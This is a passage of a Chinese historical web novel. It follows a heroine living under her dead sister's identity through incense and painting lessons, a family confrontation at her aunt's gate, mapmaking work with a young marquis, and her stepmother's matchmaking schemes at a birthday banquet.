“公主府上规矩森严,会传出这种话,无非就是有人要把婉玉塞给小侯爷,这事儿我们撇清都来不及,她还巴巴回来说——她怎么就不想想,她长姐要是给侯爷做了妾,日后她还想与清贵人家结亲吗?”孙大娘子压不住的怒火和有些泄气,说,“再说了,要是有把握一击即中就算了,偏她还没搞清楚情况,反被她大姐姐险些反制,真真是偷鸡不成蚀把米!” 这话说的确实切中要害,周妈妈只能劝告:“三姑娘到底还小,离及笄还有一年呢,娘子慢慢教也就是了,不要太过着急,反叫三姑娘左了性子,那就不好了。” 孙大娘子叹了口气,知道周妈妈说得对,她是太急了。 她疲惫地说:“眼看着赵家还没松口,亲事没定下,我心里怎能不急?这可是淑儿一辈子的大事!何况婉玉瞧着益发性子锋芒毕露,竟连我也弹压不住了,你今儿没看到吗?她几句话就弹压的婉淑一句话都说不出来,她出身美貌、样样都比淑儿强,我今儿看她站在屋子里,那样子真是益发有传言中关娘子的气势,我瞧着哪里不着急……” 说到这里,孙萍愤怒咬牙说:“偏她那么好的运气,连关老的工学本事都学会了,再这么下去,只怕真真是个大威胁!” 周妈妈闻言,立刻不屑地说:“娘子,我虽是个婆子,但是觉得大姑娘也是吹嘘,关老爷子那本事,能是照着书看得懂的吗?她若是这样的天纵奇才,三个姑娘一起启蒙,可没看出她有这样的本事,依老婆子看,她不过是吹嘘罢了。” 孙萍闻言,心中也觉得对,一时开怀不少,点头说:“妈妈说得对,她如今什么招数都用上了,想也是为了婚事。” 李婉玉的婚事,还真是要快些定下来才成。 孙萍想着,心中很快有了打算。 第五十七章 赏画 第二日一早,关怀素便早早去赵家上学。 “调香一道,辨香、配香、焚香,你们都学得差不多了。”课堂之中,刘嬷嬷说,“香道的最终,是为人所用。前头三个学好,为的是在恰当的时候、用恰当的方式使用香。” 今儿婉蓉婉淑禁足,课堂只有赵白芷和关怀素二人。 关怀素认真听着,就听到刘嬷嬷看向赵白芷,突然发问:“如冬日读书,应该选什么香?” “回嬷嬷,当选温和中正、提神醒脑的暖香。”赵白芷起身回答。 刘嬷嬷十分满意地点点头,又看向关怀素,问:“那如果夏日饮宴,应当选什么香呢?” “回嬷嬷,夏日饮宴,要看是在何处,若是赏花饮酒,就要熏些防蚊虫的时令香草,若是在屋里纳凉,放了冰盆的话,那便要选些微暖的香气中和,若是天气酷热,便选清冷醒脑的香。”关怀素立刻站起来恭敬回话。 刘嬷嬷十分满意地点头,微笑着说:“好!” 但是紧接着又说:“这些都是你们自小都懂的东西,我便不多说,我要说的,乃是赏玩各种器物时,应当如何搭配。” 刘嬷嬷说着,侍女们捧着盒子鱼贯而入,那狭长盒子打开挂在门柱上,下方摆上香案,立刻便显现出来真容。 都是些画作。 关怀素知道这是在做什么,祖父老友之中,也有许多大家。 这些人聚在一起,自然也要做些风雅之事。 其中当然就有赏画。 赏画此事,从前朝就在士大夫阶层十分风靡,也是高门贵女必备的功课。 时下都觉得名画是有灵之物,必要以香相配,其他东西都可简单些,不过是画龙点睛,但是唯有配画的香,若是选取不对,或是与画作意境相反,则会让人觉得此人粗俗。 “你们看看这几幅画,再各自把觉得合适的香放在对应的香案上。”果然,刘嬷嬷如此吩咐。 关怀素与赵白芷面前都各自有三幅画,下面都摆了香案,两人起身,都各自去看挂着的几幅画。 关怀素这边的三幅图,分别是《寒夜分雪图》《清凉亭》与《青松崖棋奕》。 这三幅图都十分有名,均是名士手笔,不过面前的都是临摹之作,关怀素稍微看了一下,心中有数,立刻回去辨香。 她很快便挑出了松柏冷香与水寒香,分别放在了《青松崖棋奕》与《清凉亭》下面,但是最后剩的那香,也是清冷的冰片香气,按道理来说,符合《寒夜分雪图》的意境。 且面前就三种香,既然其他两个都选出来,最后一个也只能是这个才是。 只是…… 关怀素想了想,叠掌行礼,问刘嬷嬷:“请问嬷嬷,我可以看看赵妹妹那边的画吗?” “当然可以。”刘嬷嬷立刻点头。 关怀素闻言便立刻走到了赵白芷那边,认真地看了赵白芷那边的三幅图之后,关怀素心中便有了底。 她回过身,却没回去取自己那边的香,而是回到自己桌边,坐下来开始自己配起了香。 赵白芷本来也已经确定了两幅画要配什么香,正要把最后一份香料放在第三幅的香炉里面,却被关怀素打断。 然后赵白芷就看着婉玉姐姐竟回去自己配香,没有把最后一份香料放过去。 她当时就是一愣,然后下意识去看上首的刘嬷嬷。 刘嬷嬷没有出声,只是沉默地看着这一切,像是什么都没发现一样。 赵白芷立刻就意识到了什么,她也去看了看关怀素的画,而后立刻放下手中的香料,走到了自己的桌案前,开始配香。 关怀素搭配好香料之后,便起身,把香粉放在香炉里。 这便是她最后的答案了。 而赵白芷也没耽误很久,不过一会儿也配好香料放好。 “都弄好了对吧?”刘嬷嬷确认之后,便走到第一幅挂画前,她身边一直跟着的丫鬟便上前,把那香粉扫了扫,稍微压了一下点燃。 青烟袅袅升起,很快满屋都是淡淡的松柏竹枝调出来的芳香。 “李婉玉,你来说说,此画为何配此香?”刘嬷嬷开口问关怀素。 关怀素立刻上前恭敬回答:“回嬷嬷,这幅《青松崖棋奕》乃是前朝名仕顾子山所作,他当时风流得意,游历天下,遇到了好友陈伯良,两人于青松崖对弈,畅谈天下,快意风光。所以这幅图要以松柏、竹枝为主调应景,调以糜醉酒木香,以应年少狂放之情。” “没错,这就是我搭配的意思。”刘嬷嬷听完,含笑颔首,又问了《清凉亭》之后,才转向《寒夜分雪图》,问关怀素,“这幅画,为何不用我搭配好的香?” “回嬷嬷,《寒夜分雪图》乃是宋智先生的名画,虽画雪景,但是其实大家都知道,宋智先生所画此图,雪景为主,分雪却最为重要。此画主要是记载先皇在时海晏河清,大雪之下,百姓安居乐业,感慨国泰民安。因此此画虽是雪景图,却不适合用太过清冷香气,反而应当搭配温和中正、舒缓安宁的暖香,才应此情。” 关怀素行了一礼,说:“此画名满天下,婉玉想着,嬷嬷不会配错,所以想来,这倒是专门用来考验我们的,因此婉玉便自己搭配了。” 她有条有理地说完,刘嬷嬷露出了一个笑容来,点头说:“你猜得没错。” 说完,她又转头考赵白芷同样的问题。 赵白芷回答的也十分有条理,只不过在被问到为何自己调香的那幅图时,她微微有些羞惭地说:“我原也想着,此画虽画的花好月圆,实则却是前朝名仕曾淼在国破家亡时追忆过去,嬷嬷配的香倒是一味暖意熏人,有些不太应和,但是我却没有婉玉姐姐那么聪明,还以为是嬷嬷如此搭配了,想着就如此听从……” 说到最后,她有些羞惭行礼,说:“是我愚钝了。” 一堂课上到这里,便是接下来的许多名画解析,到这里,其实就已经是一大半开始学习赏画,顺便巩固一下前头学的香道了。 香道、赏画、插花、煮茶,这几种是如今世家妇必须学的东西,刘嬷嬷显然是在为接下来的画作鉴赏做准备,在考她们的底子。 果然刘嬷嬷十分满意点头,说:“你们非常有悟性,配香也十分不错,显然前头香道也是学到了。从明儿开始,咱们开始学习赏画。” “是。”关怀素与赵白芷齐齐行礼,等到关怀素要告辞的时候,却听到赵白芷主动挽留她。 赵白芷笑眯眯地说:“婉玉姐姐,今儿不如赏个光,陪我一起喝个茶可好?” 关怀素有些惊讶,但是难得赵白芷相邀,她当然立刻点头答应。 两人就从上课的地方往赵白芷的院子走,路上赵白芷就突然看着园子里的花,轻声说:“姐姐自去了庄子之后回来,似乎倒是变了一个人一般。” 关怀素心中一凛,面上也跟着看外面的寒风,不动声色地谨慎回答:“不过是想通了许多事而已。” 赵白芷却摇摇头,轻声说:“我原也和大家一样愚钝,以为姐姐真是个懦弱糊涂之人,却没想到姐姐心中其实比我们都聪慧……这些年,姐姐一直在压抑自己的本心,一定很辛苦吧?” 关怀素还以为自己露出了什么马脚被赵白芷发现了,如今发现不是这么回事,立刻稍微放松了一些。 她笑了笑,并不多说,这种时候多说多错,不说赵白芷反而会用自己的思路替她补齐许多想法。 果然,赵白芷似乎明白了她的意思,笑了笑,似乎有些出神地望着花园里的风景,轻声说:“今儿天色好暗啊,感觉像是要下雪了。” “是啊,今年这么冷,都结冻了,却一场雪都没下呢。”关怀素跟着附和,两人说着话,一路走到了赵白芷的院子。 在门口脱了披风,进去之后,屋子燃了三个炭盆,暖融融的,顿时让人全身都松快了过来。 外间摆了八方游仙桌,丫鬟们早已经摆好了一桌子菜,香气扑鼻。 关怀素打眼一看,就看到桌上摆着金灿流油的烤鸭,旁边配的几个时令冬菜,一看就是八宝楼的手艺。 “姐姐前些日子跟我说八宝楼的烤鸭好吃,我今儿特地试试。”赵白芷笑着对她说,“想着姐姐喜欢,就特地叫上你。” 两人一起在桌前坐下,丫鬟们立刻拿了热帕子给她们擦手,又有大丫鬟上前把烤鸭片开,放在两人面前的小碗里。 关怀素吃了一口,确实是八宝楼的手艺,十分鲜香可口。 “嗯,确实不错。”赵白芷吃了一口,笑着对关怀素说,“姐姐吃着,可和之前一样好吃?” 关怀素吞下口里这口烤鸭,笑着说:“白芷妹妹,赏画都需要搭配特制熏香,食物当然也是如此。在自己院子吃烤鸭,是怡然自得之乐,在人声鼎沸的酒楼里热气腾腾地现吃,则是世情之乐,此两种,无高下,自然也不用比较了。” 赵白芷沉默了一下,却又问:“如果一个人向往世情之乐,却注定要付出极大代价呢?那她是应当不顾一切出去吃这道烤鸭,还是应当就在家里尝尝味道便好?” 关怀素说:“那就看那个人多想去外面吃了。” 说完,她看到赵白芷神思不属,想了想,到底是不忍心。 因为她还记得那天在门外,她身上沾了周乐天的龙涎香,被赵白芷高声提醒的事情。 也记得当初她抱着落水的宋兰,湿答答的,她们俩地位远不及赵白芷,可是她却一点也没看不起她们,好好照拂不说,后来她为了感激赠衣之情,悄悄给赵白芷送缠花上门道谢,还附带了宋兰的份,她都是好好收下,没有一丝盛气凌人之意。 所以赵白芷哪怕不愿意挑破,关怀素还是不想一直跟她打太极。 她放下筷子,叹了口气,轻声说:“或者那个人有没有想过,如果她真的特别想做某件事情,兴许告诉关心她的人,也许就能有人帮她一起想办法呢?” 赵白芷闻言,脸上露出了一闪即逝的悲伤,她温声说:“不会的,她都试过了,可是周围所有人都说,在家吃,富贵尊荣,外头多少人想过这样的日子而不得呢?所有人都说是她不识好歹,养尊处优多年,竟不知道为大家考虑了。” “那这就是死局了。”关怀素沉默了一瞬,说,“如此,除了鱼死网破,或是有人能助她脱离困境,除此之外,再无他法了。” 赵白芷叹了口气,脸上瞬间的悲伤被很快收起来,又是那个端方温柔、八面玲珑的赵姑娘了。 她笑着说:“看我,好好地请姐姐喝茶尝尝好吃的,竟乱七八糟的不知说哪里去了。姐姐今日调香之果决,让白芷十分钦佩,不由得想跟姐姐多亲近一些,还望姐姐别介意。” 关怀素知道她不愿再说下去,只笑着点头,两人一起捡着些饭菜吃了,关怀素才从赵家离开,往姨母家去了。 第五十八章 初雪 “姑娘,赵姑娘好可怜,想出去吃个烤鸭都不行呢。”柳叶一上马车,就忍不住对关怀素说。 关怀素叹了口气,轻声说:“她说的哪里是烤鸭。” 柳叶没太明白,但是此事关系到人家的家事,关怀素自然也不能多说,只能摇摇头,并不解释。 好在柳叶只是感慨一句,并不特别好奇,反而一脸兴奋期待能去程娘子家里。 因程娘子家中人口简单,十分朴素自由,便是下人也不用垂手恭顺、静默恭谨,随意走动做活即可。 这与永年县老家风气差不多,柳叶在李家憋得难受了,自然向往去程娘子家。 别说柳叶,便是关怀素也十分喜悦期待。 只是二人没想到,怀着期待的心情到了程娘子家,却听到程娘子家的下人拿着棍棒,正在与人吵架。 “杀千刀的娼妇!你撺掇我亲侄子与你分出去单门独院地过日子、抛下一大家子人就算了!如今他亲哥躺在床褥上无人治病,你竟一分钱也不肯给,我不活了啊!”门口是个嚎啕大哭的老妇,身边跟着几个男女,看着似乎是一家人,男子都仇恨地看着下人,似乎竟想与下人搏杀一般。 那言语极其难听,关怀素听到那妇人骂道“不愧是进了教坊司的婊子,婊子无情……”等等,一句一句一直在故意揭程娘子的伤疤,关怀素听得心头火起,掀开帘子就怒声大喊:“周管家!” 周管家早看到了关怀素,此刻拎着木棍就冲在最前头,跑到关怀素面前,一叠声回答:“在,回姑娘,小的在!” “这门口有人喧哗闹事,你跟人僵持做什么,只管报官喊人拿下大狱!”关怀素怒声说。 “你是哪里来的小娼妇,我可是陈松的亲婶娘!你算是什么东西在这里狗吠!”那哭喊的老妇立刻怒声大喝,张牙舞爪地就要过来撕打关怀素。 好在下仆们把她拦住,关怀素看他们竟想冲过来殴打自己,便跳下马车,推开管家想引她进门的手,走上前几步看着这些人,怒声说:“让他们过来!京师底下,这些人若是敢殴打官眷,必要杖责处死!我看他们是不是做好了全家杀头的准备!” 她这一句呵斥,立刻便把这群人吓住了,那老妇听她是官眷,也不敢继续歪缠,但还是非常愤怒地呵斥:“关你什么事?!我在这儿骂她姓程的娼妇,你做什么声?!” “你一口一个娼妇,你可知道当初程将军为先皇阵前挡过敌人的斩马刀?你可知道当初程小将军是被奸人污蔑,才让我姨母跟着受罪?你可知道当今圣上当年因为此事,下令斩首诬告陈小将军的御史满门?后又亲自赦免了程家全部罪责,你们如今还拿当年事情说,可是在质疑当今圣上的谕旨?!” 关怀素此话一出,顿时吓得老妇与亲戚们全都面如土色,老妇磕磕巴巴地说:“你、你胡说什么!” “我可没有胡说,周管家,把他们全抓起来送去京师府衙,就说他们违逆圣人旨意、污蔑忠良之后,其心可诛!让府衙好好审一下,这些人到底是不是私通敌国,才故意做出这些事情,想寒了为国尽忠的后人之心,寒天下人之心!”关怀素指着他们呵斥。 她气势太强,以至于周管事都觉得李姑娘说的十分有道理,浑身气势一涨,立刻就想去抓人。 这些无赖乡下人哪里见过世面,被这么一吓,早已经不复趾高气昂的样貌,一个个吓破了胆,互相搀扶着就飞快逃之夭夭。 门口迅速恢复了平静,周围邻居隐隐开着的门缝也悄无声息地全数关上,关怀素看了一眼,才冷着脸转身进了陈家大门。 才进门,就看到程娘子站在门内,眼圈微微发红。 “姨母!”关怀素进门,立刻拉着程娘子的手说,“外头天寒地冻,你怎地穿成这样就出来了!” “我们娘子不想应付那些无赖亲戚,在屋里躲着。方才听小厮说姑娘您来了,娘子生怕您吃亏,着急忙慌跑出来了!”程娘子身边妈妈立刻上前说,“姑娘你可要说说娘子,原就体弱,还这样不珍惜身子!” 关怀素一听,顿时心疼的不行,拉着冰凉的手就往屋里走,进了屋在炭盆边坐下,才埋怨地说:“姨母,下次可别这样了,再着急也得把衣衫穿上啊!” “叫婉玉你见笑了。”程娘子有些疲惫地勉强笑笑,说,“那帮人都不是善茬,我只怕你吃亏。” “那些都是什么人啊?他们常来吗?”关怀素正要问这个,闻言立刻发问。 “都是咱们老爷的亲戚!”程娘子身边的妈妈心疼地说,“咱老爷什么都好,就是遇到了这帮穷亲戚,一个个的,恨不得从家里刮地三尺才能满足……” 老妈妈口齿伶俐,三言两语就说了个清楚,却原来这群人是程娘子之夫陈松的族亲,陈松当年出仕之后,便把高堂接到了身边照顾,而族亲家里也因为失地来了京师投靠他们。 因是亲人,陈家先头一直对他们多加照拂,甚至还给他们找了在铺面做活的路子。 一直以来也算是亲热和睦,却没想到在陈家父母去世、程姨母多年无所出之后,陈家族亲就动了把家里孩子过继到他们家的想法。 “我这身子,当年进那地方就被灌了药,郎中说了,这辈子定然是无后了。”程姨母听到这里,叹了口气,苦笑着说,“原本我想着挑个好的过继,日后我们二人老了也有个依靠,可是我们宁可找无父无母的孤儿,也是不愿意过继他家的孩子的,这事儿,婉玉你懂吧?” 关怀素当然懂,远的不说,她在永年县也听过这种事情,亲戚说是把孩子过继给无子之家,可是爹妈都在面前,孩子怎么可能会认程娘子夫妻为爹娘? 如此等到二人年迈,这孩子能否孝顺还是两说,自然不如没有亲人的孩子容易养的贴心。 “只是他们看着大好家业在面前,决计不肯你们收养其他孩子吧?”关怀素问。 程娘子点头,疲惫地说:“有几次好机会都叫他们故意砸了,我们二人也是心中对他们太过失望,便断了接济他们的钱财,却没想到他们却变本加厉,一次次来家里骚扰辱骂……” 说到这里,程娘子脸上露出了悲伤之色。 “他们不值得姨母这般真心对待!”关怀素看她伤心,立刻上前温声安抚,撒娇地说,“姨母有我就够了!” 程娘子听她这么说,不由得笑了一下。 屋里气氛一时间很温馨,两人放松下来,程娘子却突然想到什么一般,叫众人都出去。 关怀素正奇怪呢,却听到姨母郑重地问:“婉玉,你与我说句交底的话,你与平安侯如今怎么了?” 关怀素一愣,不明所以地说:“我能怎么?姨母你怎么突然如此问?” 程娘子比她更惊讶,说:“平安侯买了隔壁的宅子,还与我商议,说是想开个角门方便过来呢!” “啊?”关怀素震惊,说,“平安侯买了隔壁的宅子?” 程娘子刚听到这消息时,还以为关怀素与平安侯有了私情,心中焦急,如今看起来不是这样,她有些放心。 正准备细问,丫鬟进来禀告:“娘子,隔壁的客人来了。” 二人立刻起身,便见到周乐天穿着身天青色的大鳌,领子和袖口都滚了一圈雪白的貂毛,衬的皮肤和那貂毛一样白皙如玉。 他一进来,整个屋子都亮堂三分。 “我刚巧在隔壁琢磨图纸,听说大姑娘来了,便立刻带着人来叨扰。”周乐天进门拱手行礼,态度十分谦逊。 他身后的小厮抬着四个厚重大箱子,俱都十分沉。 程娘子口称不敢,行礼完看关怀素一眼,眼含疑问。 关怀素便解释了一下要为圣人整理图纸的事情,然后问:“那我们便去西院吧,姨母,方便吗?” 西院早收拾的好,程娘子一听是正事,神色这才松下来,立刻点头,看着她与周乐天带着一堆人乌泱泱地去了。 程娘子使了个眼色,张妈妈便立刻跟着去了,一会儿进屋轻声回复:“娘子,小侯爷带的全是图纸,现在在分拣商议,我听了一会儿,全是在商议工事。” 程娘子顿时重重靠在榻上,扶了扶额头说:“哎呀,竟是我真的误会了不成?” 老妈妈轻声说:“娘子不着急,再看看。” “李家给玉儿找的人实在是太差了,平安侯位高权重,后年便要及冠,屋里连个丫鬟都没有,公主又与素素关系好……”程娘子闭着眼睛,轻声说,“算来算去,这都是玉儿能找到最好的婚事了。妈妈,如今只有我能为玉儿打算了……” “哎,妈妈知道。”张妈妈也是当年程家的家生子,又是程娘子的奶妈妈,哪里不知道她经历了什么,又为何如此殚精竭虑? 张妈妈眼圈微红,只轻声说:“我叫丫鬟们伺候着呢,您先别急,咱们慢慢看,再说了,咱们姑娘是什么品貌,又有本事,只要长了眼睛的自是知道,我瞧着侯爷若是真只想叫姑娘帮忙,把人叫去工部做活就是,何必眼巴巴地拉着这么多东西来咱们这里?” 程娘子登时睁开眼睛,紧张地问:“妈妈的意思是,这事儿有眉目?” 张妈妈人老成精,一开始也是不想叫娘子太期待,到时候空欢喜反而伤身。这会子见她焦急,便把压在心里的话说了。 “我过去的时候,见平安侯对姑娘极其细致妥帖,虽是做活,也是时时注意照拂,又不失分寸,平安侯往日对闺秀从未如此过。”张妈妈便压低声音在程娘子耳边说,“方才咱们姑娘喝茶磨墨,皆是平安侯亲自动手。” 程娘子一听,心中狂喜。 她立刻抚掌,连说了三声:“好!好!好!” “只是咱们还要再看看情况,不可孟浪。”张妈妈生怕程娘子欢喜过头,立刻又压低声音说。 “妈妈说的是,到底是一辈子的事情,要谨慎些。”程娘子喜不自胜,强行叫自己冷静下来,连声吩咐,“去叫厨房炖些燕窝,一会儿送去给姑娘和侯爷吃。” 说完,程娘子才觉得安排好了,轻声吐了口气,说:“若是真有眉目,此事我一定要替素素和关伯伯办好。咱们玉儿可不是李家那几个下贱之人能害的,玉儿的命会很好很好的,比李家人都好!” 说到最后几个字的时候,程娘子已经隐约露出了狠厉之色。 关怀素并不知道姨母在为她谋划婚事。 她这会子在一心一意与周乐天商议工事。 “侯爷,城西、田子坊之内,民户杂居处,可有什么变化?”关怀素问。 “此地这十年间有所变化,房屋增建的厉害,居民大约多了两倍左右。”周乐天对京师变化似乎极为熟悉,一边研墨一边迅速回答。 关怀素闻言便做好标记,把那张图纸放在一边,继续问下一处。 而后每写下一章,便与对应的记录放在一起。 两人就这么一个写字、一个磨墨,一个问、一个答,竟是配合的十分默契,仿佛共事多年一般。 柳叶和来福帮忙分拣,他们二人配合梳理,伺候的丫鬟婆子都屏气凝神,生怕打扰他们。 屋里人都十分入神,一时之间竟未曾发现光阴逝去。 直到柳叶伸腰解乏,抬头看到天空。 众人便听到柳叶轻呼一声:“哎呀!下雪了!” 关怀素闻声抬头,就看到窗外,鹅毛大雪摇摇摆摆从天而降,落在青瓦与院落中的柿子树上,看着像是无数仙女提着裙摆落入人间一般。 “春雪满空来,触处似花开。”身边人轻声呢喃,关怀素转头,看到周乐天苍白的唇微微勾起,一直有些暮气沉沉的脸上难得带着纯然的喜悦。 关怀素心中欢喜,跟着笑着说了句:“白雪却嫌春色晚,故穿庭树作飞花。” 两人相视一笑,一时之间,竟有种心意相通的知己之感。 初雪漫天飘落,这小小庭院、方寸之地,静谧温馨。 两人一个脱离了复杂的环境、一个脱离了窄小后院的压制,一时之间,都觉得此时此刻的宁静弥足珍贵,恨不能久久长长。 第五十九章 生辰小宴(上) 一下午时间,二人堪堪整理出来了城西一部分的水道图,此事艰难缓慢,还有许多需要关怀素实地考察的地方。 “此事辛苦李姑娘。”临走之时,周乐天拱手对关怀素道别,说,“叨扰你与姨母相聚,是我的不是。只是京师水道事关重大,此事已经耽误许多年,百姓每逢春汛便苦不堪言,我实在是不忍耽搁……” 他还想解释一番,却是手里一热。 他愣了一下,却看到关怀素笑意盈盈地说:“能为百姓做些事情,我非常开心。倒是侯爷,如今都下雪了,您实在是不喜欢戴帽子,好歹也拿个手炉子在身上吧,回去别冻着了。” 周乐天拿着那小巧精致的手炉子,拢在手里一路回了隔壁。 他只觉得热得很,像是手心里踹了一颗太阳。 “来福。”走回院子,周乐天对来福轻声说,“叫查李姑娘的那帮人把八仙庄收拾好,再派人去永年县把事情都打点好,若有人查便注意些,绝不可叫其他人发现此中事情。” 来福一愣,立刻躬身点头应是,然后轻声说:“不愧是关大儒亲手养大的,关姑娘真真是心怀阔达、为国为民,与关大儒一般,是极好的。” 周乐天前几天派人去查,八仙庄的百姓虽口舌很严,但是探子都是积年老手,不需要说出来,只需要暗访一下,把所有线索综合起来,真相就出来了。 更何况关怀素第一回上京时也没想过自己会代替姐姐的身份,也未曾注意掩藏,稍微梳理一下,周乐天已经猜了个七七八八。 想到关怀远那关门弟子离了八仙庄,立刻在隔壁县买了棺椁雇人扶灵回乡——那里面的人,查出来是个妙龄女子。 如今想来,大约就是李婉玉了。 “只可惜李大姑娘了。”周乐天轻叹一声,有些内疚地说,“她在庄子上竟死的不明不白,若早知道,当初我很该再想想办法才是。” 来福看他神色黯然,便轻声说:“谁能想到在自家庄子上还能出这种大事,再说了,关姑娘既然来,此事只怕真有什么蹊跷,爷你一个外人,能帮到什么地步呢?” “当初我就该好好斥责一下宋律,若不是他言语刻薄,怎会让李家人把她送去庄子里?”周乐天以前对宋律只是不喜,在得知李婉玉因此已经死去之后,已经完全变成了厌恶。 他冷声说:“堂堂七尺男儿,一整天不知为何对着一个闺阁弱女子过不去,此人性情刻薄寡恩,日后府里与宋家不用往来了!” 来福一愣,轻声说:“爷,宋尚书对武将一脉颇为亲和呢。” “那又如何?我现在算个什么牌面的人,不过也是个苟全性命的虚头侯爷罢了,何必与他们虚与委蛇?”周乐天冷笑一声,说,“无欲则刚。下回再上门,叫人说清楚,就说宋尚书教子无方,我不愿与养出这等小肚鸡肠的家里来往。” 这话来福听得都要流汗了,只能边走边低声苦劝。 可周乐天心意已决,竟无可回转。 二人回屋,周乐天边吃了药休息,来福一出来,生无可恋地跟管家吩咐了这事儿。 “啊?来福,咱真这么说啊?!”管家也是当年跟着军队里管账的老伙计了,这会子听完嘴巴都震撼的张不开,说,“这就把尚书家得罪死了啊!” 来福生无可恋地点头,然后又说:“没事,得罪了就得罪了!他宋尚书再大,也难为不到我们,再说了,这会子谁都没咱们未来的侯夫人重要!” 管家一听,登时精神抖擞,忙问:“咋了咋了,咱们爷有消息了?!” “日后隔壁有什么事情,记得出来帮这点!”来福便低声说,“你就记得这话,保你日后受用!” 管家一听,登时诧异,说:“竟是李大姑娘?平素也见过,怎地今年侯爷竟突然喜欢上了?” 来福也不好说这李大姑娘早换了人,便只说:“你还管这个?我是你,这会子便想想怎么和隔壁拉拉关系,趁早献献殷勤!” “你说的是!”管家一听,立刻抓耳挠腮,说,“咱们都是大老粗,我得问问我娘子怎么讨好未来夫人。这一家子日后都是夫人管账,日后那刀枪斧钺、演武场的抛费,还有喝酒的银子……可别叫夫人看不惯,全数给兄弟们都给裁了!” 来福深以为然,疯狂点头。 那边两兄弟脑袋想办法,这边关怀素忙了一天回李家,一进门就听丁妈妈说,大娘子要设宴。 “说是亲戚小宴,但是夫人和老爷的亲戚好友都请了,里面就有马家人。”丁妈妈有些气愤地说,“瞧着没安什么好心!” 关怀素一听,哪里不知道又是想谋算她。 不过她有打算,便微微冷笑一声说知道,看了看放在屋檐下的垫脚炭。 放了这么久,也该是到派上用场的时候了。 “妈妈,你去箱笼里拿些钱。”关怀素温声说话,几句话说完,丁妈妈恍然大悟,眼中精光爆闪。 “姑娘你放心,这几月我洒了不少钱,此时正是见真章的时候!这事儿老婆子我一定给您办的稳稳当当!”丁妈妈保证完,难掩激动喜悦,转身就去后头的匣子里拿了几串钱,一路颠颠地出去了。 “柳叶,明儿一早去我屋里取几对首饰给宁小娘。”柳叶拿了软枕,关怀素眉目舒展地仰靠在凳子上,轻声对柳叶说,“再给她带句话。” “姑娘你说。”柳叶拿帕子在另一个铜盆里浸湿,绞干,然后把热腾腾的帕子敷在关怀素的脸上,一边轻声回答。 关怀素的声音闷闷地从帕子下传出来,说:“跟她说,这眼泪,得换成实打实的东西,才有价值。” 柳叶一愣,然后点头,说:“我知道了。” · 其后两天匆匆而过,很快便到了大娘子生辰小宴的这天。 今年人多,家里招待不下,便安排在了城外的万叶楼。 万叶楼中景色错落,暖阁明瓦映梅,布置的十分高雅,父亲李珺去前院招待男宾,关怀素跟着孙大娘子在内院,招待女客。 宾客陆续到来,院子里热闹起来,没一会儿就看到一个熟悉的长脸夫人与人结伴进来了。 “哎哟,我腆着脸来沾沾喜气,与夫人道贺了!”马夫人笑容灿烂,进门就抓着孙大娘子的手贺喜。 关怀素早猜到今儿肯定会见到马夫人,此刻倒是心情平静,只有些好奇地打量人群最后跟进来的淡漠妇人。 那妇人在众位夫人之中,实在有些格格不入,一则是因为夫人们都是盛装打扮,锦衣珠钗,她却是竹青色旧袄子、不应节气的银海棠簪。 二则是她实在是太漂亮了些,哪怕打扮的荆钗布裙、神色冷寂,依旧掩饰不住一股窈窕的幽怨动人。 “哎呀,姐姐也来了!”关怀素打量之中,孙大娘子却一把握住这位幽怨美人的手,有些动情地说,“我瞧着,姐姐似乎又清减了。” 又上下打量一番,立刻从头上拔了一支赤金的梅花簪子,插到了这妇人的头上,拍着她的手温柔地说:“姐姐还是如此美貌,我瞧这金簪,确实只有姐姐这样的美人才配得上呢!” 一出手竟就如此大方! 关怀素仔细一听,才发现这人居然被婉淑叫大姨母,这美妇人竟然是孙大娘子的亲表姐! 关怀素十分震惊,因为这位大姨母和小姨母钱夫人长得压根一点也不像,而且瞧着打扮连末流的官宦夫人也不是,竟就像是普通人家。 如此才情,出身也不差,怎地就落到了如此地步? 关怀素心中诧异,但是也不好出声,只沉默地看着孙大娘子拉着这个姐姐一路进屋,与众位夫人说笑。 夫人小姐们齐聚一堂,便是一场相看,说话之间,竟有两位大娘子亲自摘了手上的玉镯金器给了自己看上的姑娘,那两位姑娘接了首饰,脸色含羞,竟就这么已经成了两桩好事。 “孙娘子也是会调教人的,瞧着这三个女儿,个个气度大方,我瞧着都羡慕呢。”那边玉成好事,有夫人把话头拉到了李家三姐妹身上。 发话的那个夫人乃是礼部员外郎的夫人,听刚才谈笑之中说话,她有两个儿子,大儿子已经成婚,二儿子还在念书,目前已经中了秀才。 她家里虽然简薄了些,丈夫瞧着宦海浮沉,应是没有太大出路,但是二儿子却十分争气,想来是看着自家无力给孩子打点,而李珺又瞧着前途广阔,便有意攀附这门姻亲,好歹能叫二儿子有个门路。 只是不知道她看上的是谁,婉淑她绝对不敢想,毕竟谁都知道,孙大娘子只得这一个女儿,肯定是要促成嫡亲女儿高嫁的;至于婉蓉,她是庶女,样貌极好,若是在无根底的秀才看起来,能搭上李家,娶婉蓉也算是极其高攀了。 可是这夫人家里是官宦之家,儿子又争气,不是完全没根底的人家,只怕她会觉得婉蓉出身有些亏待儿子,且婉蓉嫁妆绝对抵不过婉淑,更抵不过自己这个已经有了庄子的人。 …… 可见这话题要扯到她身上了。 关怀素脑子飞快盘算一下,瞬间就知道了那夫人要说什么。 果然下一刻就看到这夫人笑着转头看向她,说:“尤其是大姑娘,不但娴静大方,瞧着待人接物也毫无错处,我今日一见,真正是眼前一亮,真不是这样秀外慧中的姑娘,日后要便宜了谁家。” 果然是看上她了。 关怀素低头,假作害羞状,垂眸观察孙大娘子反应。 她会选择给姐姐一个稍好一些的生路吗? 关怀素沉默地等待着,就听到孙大娘子笑了一下,说:“哎呀,我这几个女儿都是我亲手教养的,我瞧着确实各个都好,比方说婉蓉,平素最是率直,针线也好,前些日子给我做了一件马甲,那针脚真是十分细密,胜过许多绣娘呢!” 这就是明确拒绝了。 而且还表达的很明确,三个姑娘之中,只考虑庶女婉蓉与对方相配。 这就有些盛气凌人,关怀素偷偷去看,看到那夫人虽然在笑,随口附和,但是手里的帕子却捏得很紧。 她这样的家世,孩儿又争气,说真的,若是真想攀附,哪怕是再高一些门第的庶女也娶的到。 孙大娘子此番确实有些打她的脸。 不过也是这夫人消息不灵通,她可能心中还以为孙大娘子为了女儿的婚事,恨不得随便打发了前头的嫡女,能嫁她家里,确实算得上是殷实快活的小日子,也不至于让人说苛待了。 却不知道孙大娘子面慈心毒,她可不是要把嫡女给嫁出去就完事,她可是要拆骨吸髓,彻底把姐姐吃干抹净才开心。 想到这里,关怀素心中一片冷厉,愈发确定了今日做事不会再留一丝余地。 